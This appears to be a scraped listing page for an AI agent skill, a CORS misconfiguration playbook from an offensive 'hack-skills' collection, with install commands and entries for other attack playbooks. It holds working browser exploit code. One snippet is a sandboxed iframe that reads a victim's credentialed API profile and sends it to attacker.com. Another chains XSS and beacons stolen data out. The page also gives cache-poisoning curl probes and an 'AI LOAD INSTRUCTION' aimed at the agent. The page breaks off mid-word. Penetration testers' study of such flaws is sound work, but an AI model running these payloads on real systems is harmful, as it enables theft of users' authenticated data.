401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.
$ npx -y skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/cors-cross-origin-misconfigurationContext preview
The summary Claude sees to decide when to auto-load this skill.
CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.
name: cors-cross-origin-misconfiguration description: >- CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.
> **AI LOAD INSTRUCTION**: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion [SCENARIOS.md](./SCENARIOS.md).
Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
Load when:
| Theme | What to Check | |---|---| | wildcard with credentials | `Access-Control-Allow-Origin: *` plus credential support or equivalent broken behavior | | reflected origin | server echoes arbitrary `Origin` | | weak allowlist | suffix, prefix, substring, regex, or mixed-case matching errors | | `null` origin | acceptance of sandboxed, file, or serialized origins | | preflight trust | overbroad methods and headers | | internal API exposure | admin or tenant data readable cross-origin |
1. Send crafted `Origin` headers and inspect reflection. 2. Test with and without credentials. 3. Probe allowlist bypasses using attacker subdomains and parser edge cases. 4. If readable data is sensitive, chain to account or tenant impact.
---
| Context | Origin Header Value | |---------|-------------------| | Sandboxed iframe (`<iframe sandbox>`) | `null` | | `data:` URI scheme | `null` | | `file:` protocol (local HTML) | `null` | | Cross-origin redirect chain (some browsers) | `null` | | Serialized data in `blob:` URL from opaque origin | `null` |
If the server includes `null` in its origin allowlist or reflects it:
Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>The sandboxed iframe sends `Origin: null` → server reflects `null` → attacker reads credentialed response.
---
1. Target API at api.target.com allows CORS from *.target.com 2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc. 3. Exploit XSS to make credentialed requests to api.target.com 4. CORS allows the request → attacker reads sensitive API responses
fetch('https://api.target.com/v1/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify(data));
});□ Enumerate subdomains (amass, subfinder, crt.sh) □ Test each for XSS (stored, reflected, DOM) □ Check if API CORS accepts subdomain origins □ Subdomain takeover candidates also qualify
---
When the server reflects `Origin` in `Access-Control-Allow-Origin` but does **not** include `Vary: Origin` in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:
1. Attacker requests: Origin: https://attacker.com Response cached with: Access-Control-Allow-Origin: https://attacker.com 2. Victim requests same URL (no Origin or different Origin) Cache serves response with: Access-Control-Allow-Origin: https://attacker.com → Victim's browser allows attacker.com to read the response (CORS cache poisoning)
# Request 1: with attacker origin curl -H "Origin: https://evil.com" https://target.com/api/data -I # Request 2: with legitimate origin curl -H "Origin: https://target.com" https://target.com/api/data -I # Compare: if both responses have Access-Control-Allow-Origin: https://evil.com # → cache poisoned, Vary: Origin is missing
1. Warm the cac
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent…